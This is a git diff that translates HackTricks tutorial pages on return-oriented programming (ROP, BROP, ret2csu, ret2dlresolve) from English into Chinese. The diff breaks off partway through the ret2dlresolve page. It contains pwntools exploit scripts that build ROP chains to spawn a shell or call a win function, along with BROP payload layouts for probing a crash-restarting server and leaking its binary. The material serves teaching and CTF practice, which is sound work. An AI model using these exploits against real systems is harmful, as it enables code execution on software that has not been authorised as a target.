-### **ROP Chain**
-
-Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
+### **ROP 链**
+下面是一个使用 **pwntools** 设置和执行 ROP 链的示例,旨在执行 **system('/bin/sh')** 在 **x64** 上:
```python
from pwn import *
@@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
- ret_gadget, # Alignment gadget, if needed
- pop_rdi_gadget, # pop rdi; ret
- bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
- system_addr # Address of system(). Execution will continue here.
+ret_gadget, # Alignment gadget, if needed
+pop_rdi_gadget, # pop rdi; ret
+bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
+system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
+在这个例子中:
-In this example:
+- 我们利用 **`pop rdi; ret`** gadget 将 **`RDI`** 设置为 **`"/bin/sh"`** 的地址。
+- 在设置 **`RDI`** 后,我们直接跳转到 **`system()`**,链中包含 **system()** 的地址。
+- 如果目标环境需要,使用 **`ret_gadget`** 进行对齐,这在 **x64** 中更为常见,以确保在调用函数之前正确对齐栈。
-- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
-- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
-- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
+### 栈对齐
-### Stack Alignment
+**x86-64 ABI** 确保在执行 **call instruction** 时 **栈是16字节对齐** 的。**LIBC** 为了优化性能,**使用SSE指令**(如 **movaps**),这需要这种对齐。如果栈没有正确对齐(意味着 **RSP** 不是16的倍数),对像 **system** 这样的函数的调用将在 **ROP chain** 中失败。要解决此问题,只需在调用 **system** 之前在 ROP chain 中添加一个 **ret gadget**。
-**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
-
-## x86 vs x64 main difference
+## x86与x64的主要区别
> [!TIP]
-> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
+> 由于 **x64使用寄存器处理前几个参数,** 它通常需要比x86更少的gadget进行简单的函数调用,但由于寄存器数量增加和地址空间更大,找到和链接正确的gadget可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战,特别是在返回导向编程(ROP)的背景下。
-## ROP chain in ARM64 Example
+## ARM64示例中的ROP链
-### **ARM64 Basics & Calling conventions**
+### **ARM64基础与调用约定**
-Check the following page for this information:
+请查看以下页面以获取此信息:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Protections Against ROP
+## 针对ROP的保护
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
-- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): 这些保护措施使得ROP的使用变得更加困难,因为gadget的地址在执行之间会发生变化。
+- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/): 在发生BOF时,需要绕过存储的栈金丝雀以覆盖返回指针,从而滥用ROP链。
+- **缺乏Gadgets**: 如果没有足够的gadget,就无法生成ROP链。
-## ROP based techniques
+## 基于ROP的技术
-Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
+请注意,ROP只是执行任意代码的一种技术。基于ROP开发了许多Ret2XXX技术:
-- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
+- **Ret2lib**: 使用ROP从加载的库中调用任意函数,带有任意参数(通常是类似 `system('/bin/sh')` 的东西)。
{{#ref}}
ret2lib/
{{#endref}}
-- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
+- **Ret2Syscall**: 使用ROP准备对系统调用的调用,例如 `execve`,并使其执行任意命令。
{{#ref}}
rop-syscall-execv/
{{#endref}}
-- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
+- **EBP2Ret & EBP链**: 第一个将利用EBP而不是EIP来控制流程,第二个类似于Ret2lib,但在这种情况下,流程主要通过EBP地址控制(尽管也需要控制EIP)。
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
-## Other Examples & References
+## 其他示例与参考
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- - 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
+- 64位,启用Pie和nx,无金丝雀,用 `vsyscall` 地址覆盖RIP,唯一目的是返回栈中的下一个地址,这将是对地址的部分覆盖,以获取泄漏标志的函数部分
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
+- arm64,无ASLR,ROP gadget使栈可执行并跳转到栈中的shellcode
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
index 94d93bd6f..34a1270a9 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
-This attack is based on the following scenario:
+此攻击的目标是能够**通过缓冲区溢出滥用ROP,而无需了解易受攻击的二进制文件**。\
+此攻击基于以下场景:
-- A stack vulnerability and knowledge of how to trigger it.
-- A server application that restarts after a crash.
+- 一个堆栈漏洞和触发它的知识。
+- 一个在崩溃后重新启动的服务器应用程序。
-## Attack
+## 攻击
-### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected
+### **1. 找到易受攻击的偏移** 发送一个字符,直到检测到服务器故障
-### **2. Brute-force canary** to leak it
+### **2. 暴力破解canary** 以泄露它
-### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them
+### **3. 暴力破解存储的RBP和RIP** 地址以泄露它们
-You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
+您可以在[这里 (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)和[这里 (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md)找到有关这些过程的更多信息。
-### **4. Find the stop gadget**
+### **4. 找到停止小工具**
-This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed
+这个小工具基本上允许确认ROP小工具执行了某些有趣的内容,因为执行没有崩溃。通常,这个小工具将是**停止执行**的内容,并且在寻找ROP小工具以确认特定ROP小工具被执行时,它位于ROP链的末尾。
-### **5. Find BROP gadget**
+### **5. 找到BROP小工具**
-This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**:
+此技术使用[**ret2csu**](ret2csu.md)小工具。这是因为如果您在某些指令中间访问此小工具,您将获得控制**`rsi`**和**`rdi`**的工具:
-These would be the gadgets:
+这些将是小工具:
- `pop rsi; pop r15; ret`
- `pop rdi; ret`
-Notice how with those gadgets it's possible to **control 2 arguments** of a function to call.
+注意,使用这些小工具可以**控制函数的2个参数**。
-Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like:
+此外,请注意,ret2csu小工具具有**非常独特的签名**,因为它将从堆栈中弹出6个寄存器。因此,发送一个链如:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
-If the **STOP is executed**, this basically means an **address that is popping 6 registers** from the stack was used. Or that the address used was also a STOP address.
+如果**STOP被执行**,这基本上意味着使用了一个**从堆栈中弹出6个寄存器的地址**。或者使用的地址也是一个停止地址。
-In order to **remove this last option** a new chain like the following is executed and it must not execute the STOP gadget to confirm the previous one did pop 6 registers:
+为了**消除这个最后的选项**,执行一个新的链,如下所示,并且它必须不执行停止小工具以确认前一个确实弹出了6个寄存器:
`'A' * offset + canary + rbp + ADDR`
-Knowing the address of the ret2csu gadget, it's possible to **infer the address of the gadgets to control `rsi` and `rdi`**.
+知道ret2csu小工具的地址,可以**推断出控制`rsi`和`rdi`的小工具的地址**。
-### 6. Find PLT
+### 6. 找到PLT
-The PLT table can be searched from 0x400000 or from the **leaked RIP address** from the stack (if **PIE** is being used). The **entries** of the table are **separated by 16B** (0x10B), and when one function is called the server doesn't crash even if the arguments aren't correct. Also, checking the address of a entry in the **PLT + 6B also doesn't crash** as it's the first code executed.
+PLT表可以从0x400000或从堆栈中的**泄露的RIP地址**进行搜索(如果**PIE**正在使用)。表的**条目**是**每16B分隔**(0x10B),当调用一个函数时,即使参数不正确,服务器也不会崩溃。此外,检查**PLT + 6B的条目地址也不会崩溃**,因为这是执行的第一段代码。
-Therefore, it's possible to find the PLT table checking the following behaviours:
+因此,可以通过检查以下行为找到PLT表:
-- `'A' * offset + canary + rbp + ADDR + STOP` -> no crash
-- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no crash
-- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no crash
+- `'A' * offset + canary + rbp + ADDR + STOP` -> 没有崩溃
+- `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> 没有崩溃
+- `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> 没有崩溃
-### 7. Finding strcmp
+### 7. 找到strcmp
-The **`strcmp`** function sets the register **`rdx`** to the length of the string being compared. Note that **`rdx`** is the **third argument** and we need it to be **bigger than 0** in order to later use `write` to leak the program.
+**`strcmp`**函数将寄存器**`rdx`**设置为正在比较的字符串的长度。请注意,**`rdx`**是**第三个参数**,我们需要它**大于0**,以便稍后使用`write`泄露程序。
-It's possible to find the location of **`strcmp`** in the PLT based on its behaviour using the fact that we can now control the 2 first arguments of functions:
+可以基于其行为找到**`strcmp`**在PLT中的位置,利用我们现在可以控制函数的前两个参数的事实:
-- strcmp(\, \) -> crash
-- strcmp(\, \) -> crash
-- strcmp(\, \) -> crash
-- strcmp(\, \) -> no crash
+- strcmp(\<非读取地址>, \<非读取地址>) -> 崩溃
+- strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
+- strcmp(\<读取地址>, \<非读取地址>) -> 崩溃
+- strcmp(\<读取地址>, \<读取地址>) -> 没有崩溃
-It's possible to check for this by calling each entry of the PLT table or by using the **PLT slow path** which basically consist on **calling an entry in the PLT table + 0xb** (which calls to **`dlresolve`**) followed in the stack by the **entry number one wishes to probe** (starting at zero) to scan all PLT entries from the first one:
+可以通过调用PLT表的每个条目或使用**PLT慢路径**来检查这一点,后者基本上是**调用PLT表中的一个条目 + 0xb**(这调用**`dlresolve`**),然后在堆栈中跟随**希望探测的条目编号**(从零开始)以扫描所有PLT条目:
-- strcmp(\, \) -> crash
- - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Will crash
-- strcmp(\, \) -> crash
- - `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
-- strcmp(\, \) -> no crash
- - `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+- strcmp(\<非读取地址>, \<读取地址>) -> 崩溃
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> 将崩溃
+- strcmp(\<读取地址>, \<非读取地址>) -> 崩溃
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+- strcmp(\<读取地址>, \<读取地址>) -> 没有崩溃
+- `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
-Remember that:
+请记住:
-- BROP + 0x7 point to **`pop RSI; pop R15; ret;`**
-- BROP + 0x9 point to **`pop RDI; ret;`**
-- PLT + 0xb point to a call to **dl_resolve**.
+- BROP + 0x7 指向 **`pop RSI; pop R15; ret;`**
+- BROP + 0x9 指向 **`pop RDI; ret;`**
+- PLT + 0xb 指向对 **dl_resolve**的调用。
-Having found `strcmp` it's possible to set **`rdx`** to a value bigger than 0.
+找到`strcmp`后,可以将**`rdx`**设置为大于0的值。
> [!TIP]
-> Note that usually `rdx` will host already a value bigger than 0, so this step might not be necesary.
+> 请注意,通常`rdx`将已经包含一个大于0的值,因此这一步可能不是必要的。
-### 8. Finding Write or equivalent
+### 8. 找到Write或等效函数
-Finally, it's needed a gadget that exfiltrates data in order to exfiltrate the binary. And at this moment it's possible to **control 2 arguments and set `rdx` bigger than 0.**
+最后,需要一个小工具来外泄数据,以便外泄二进制文件。在此时,可以**控制2个参数并将`rdx`设置为大于0**。
-There are 3 common funtions taht could be abused for this:
+有3个常见的函数可以被滥用:
- `puts(data)`
- `dprintf(fd, data)`
- `write(fd, data, len(data)`
-However, the original paper only mentions the **`write`** one, so lets talk about it:
+然而,原始论文只提到**`write`**,所以让我们谈谈它:
-The current problem is that we don't know **where the write function is inside the PLT** and we don't know **a fd number to send the data to our socket**.
+当前的问题是我们不知道**write函数在PLT中的位置**,也不知道**发送数据到我们套接字的fd号**。
-However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
+然而,我们知道**PLT表的位置**,并且可以根据其**行为**找到write。我们可以与服务器创建**多个连接**,并使用**高FD**,希望它与我们的某些连接匹配。
-Behaviour signatures to find those functions:
+找到这些函数的行为签名:
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
-- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了puts
+- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了dprintf
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> 如果有数据打印,则找到了write
-## Automatic Exploitation
+## 自动利用
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
-## References
+## 参考文献
-- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
+- 原始论文: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
index 73cbb4e58..a5b9c53af 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@@ -4,18 +4,17 @@
##
-## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
+## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本信息
-**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
+**ret2csu** 是一种黑客技术,当你试图控制一个程序但找不到通常用来操纵程序行为的 **gadgets** 时使用。
-When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
+当一个程序使用某些库(如 libc)时,它有一些内置函数来管理程序不同部分之间的通信。在这些函数中,有一些隐藏的宝石可以作为我们缺失的 gadgets,特别是一个叫 `__libc_csu_init` 的函数。
-### The Magic Gadgets in \_\_libc_csu_init
+### \_\_libc_csu_init 中的魔法 Gadgets
-In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
-
-1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
+在 **`__libc_csu_init`** 中,有两个指令序列(gadgets)需要强调:
+1. 第一个序列让我们在几个寄存器(rbx, rbp, r12, r13, r14, r15)中设置值。这些就像我们可以存储后续要使用的数字或地址的槽。
```armasm
pop rbx;
pop rbp;
@@ -25,22 +24,18 @@ pop r14;
pop r15;
ret;
```
+这个工具允许我们通过将值从栈中弹出到这些寄存器来控制它们。
-This gadget allows us to control these registers by popping values off the stack into them.
-
-2. The second sequence uses the values we set up to do a couple of things:
- - **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
-
+2. 第二个序列使用我们设置的值来做几件事:
+- **将特定值移动到其他寄存器中**,使它们准备好作为函数中的参数使用。
+- **执行对一个位置的调用**,该位置由将 r15 和 rbx 中的值相加,然后将 rbx 乘以 8 来确定。
```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```
-
-3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
-
+3. 也许你不知道要写入哪个地址,并且你**需要一个 `ret` 指令**。请注意,第二个 gadget 也将**以 `ret` 结束**,但你需要满足一些**条件**才能到达它:
```armasm
mov rdx, r15;
mov rsi, r14;
@@ -52,50 +47,46 @@ jnz
...
ret
```
+条件将是:
-The conditions will be:
-
-- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
-
+- `[r12 + rbx*8]` 必须指向一个存储可调用函数的地址(如果没有想法且没有 pie,可以直接使用 `_init` 函数):
+- 如果 \_init 在 `0x400560`,使用 GEF 在内存中搜索指向它的指针,并使 `[r12 + rbx*8]` 成为指向 \_init 的指针的地址:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
- 0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
+0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
- 0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
+0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
```
+- `rbp` 和 `rbx` 必须具有相同的值以避免跳转
+- 有一些被省略的 pops 需要考虑
-- `rbp` and `rbx` must have the same value to avoid the jump
-- There are some omitted pops you need to take into account
+## RDI 和 RSI
-## RDI and RSI
-
-Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
+从 ret2csu gadget 控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问特定的偏移量:
-Check this page for more info:
+查看此页面以获取更多信息:
{{#ref}}
brop-blind-return-oriented-programming.md
{{#endref}}
-## Example
+## 示例
-### Using the call
+### 使用调用
-Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
+想象一下,你想要进行系统调用或调用像 `write()` 这样的函数,但需要在 `rdx` 和 `rsi` 寄存器中具有特定的值作为参数。通常,你会寻找直接设置这些寄存器的 gadgets,但你找不到任何。
-Here's where **ret2csu** comes into play:
+这时 **ret2csu** 就派上用场了:
-1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
-2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
-
-You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
+1. **设置寄存器**:使用第一个魔法 gadget 从栈中弹出值并放入 rbx、rbp、r12(edi)、r13(rsi)、r14(rdx)和 r15。
+2. **使用第二个 gadget**:在这些寄存器设置好后,使用第二个 gadget。这使你能够将所选值移动到 `rdx` 和 `rsi`(分别来自 r14 和 r13),为函数调用准备参数。此外,通过控制 `r15` 和 `rbx`,你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 地址的函数。
+你有一个 [**使用此技术并在此处解释的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation),这是它使用的最终利用:
```python
from pwn import *
@@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
```
-
> [!WARNING]
-> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
+> 请注意,之前的漏洞并不是为了实现 **`RCE`**,而只是为了调用一个名为 **`win`** 的函数(从标准输入调用 gets 获取 `win` 的地址并将其存储在 r15 中),并带有一个值为 `0xdeadbeefcafed00d` 的第三个参数。
-### Bypassing the call and reaching ret
-
-The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
+### 绕过调用并到达 ret
+以下漏洞是从 [**此页面**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) 提取的,其中使用了 **ret2csu**,但不是使用调用,而是 **绕过比较并到达 `ret`** 在调用之后:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
+### 为什么不直接使用libc?
-### Why Not Just Use libc Directly?
-
-Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
+通常这些情况也容易受到 [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/) 的攻击,但有时你需要控制比直接在libc中找到的gadgets更复杂的参数。例如,`write()` 函数需要三个参数,而 **直接找到设置所有这些的gadgets可能是不可能的**。
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index 1fc2ea86a..6691e3599 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## 基本信息
-As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
+正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的,缺少完整 Relro 的二进制文件在第一次使用时会解析符号(如外部库的地址)。这种解析通过调用函数 **`_dl_runtime_resolve`** 进行。
-The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
+**`_dl_runtime_resolve`** 函数从栈中获取对一些它需要的结构的引用,以便 **解析** 指定的符号。
-Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
+因此,可以 **伪造所有这些结构** 以使动态链接解析请求的符号(如 **`system`** 函数)并使用配置的参数调用它(例如 **`system('/bin/sh')`**)。
-Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
+通常,所有这些结构都是通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上,然后将 **结构** 和字符串 **`'/bin/sh'`** 传递,以便它们被读取存储在已知位置,然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**,使其 **解析 `system` 的地址** 在伪造的结构中,并 **使用 `$'/bin/sh'` 的地址调用该地址**。
> [!TIP]
-> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
+> 如果没有 syscall gadgets(使用诸如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/) 等技术),并且没有方法泄漏 libc 地址,这种技术特别有用。
-Chek this video for a nice explanation about this technique in the second half of the video:
+查看这个视频,了解该技术在视频后半部分的精彩解释:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
-Or check these pages for a step-by-step explanation:
+或者查看这些页面以获取逐步解释:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
-## Attack Summary
+## 攻击总结
-1. Write fake estructures in some place
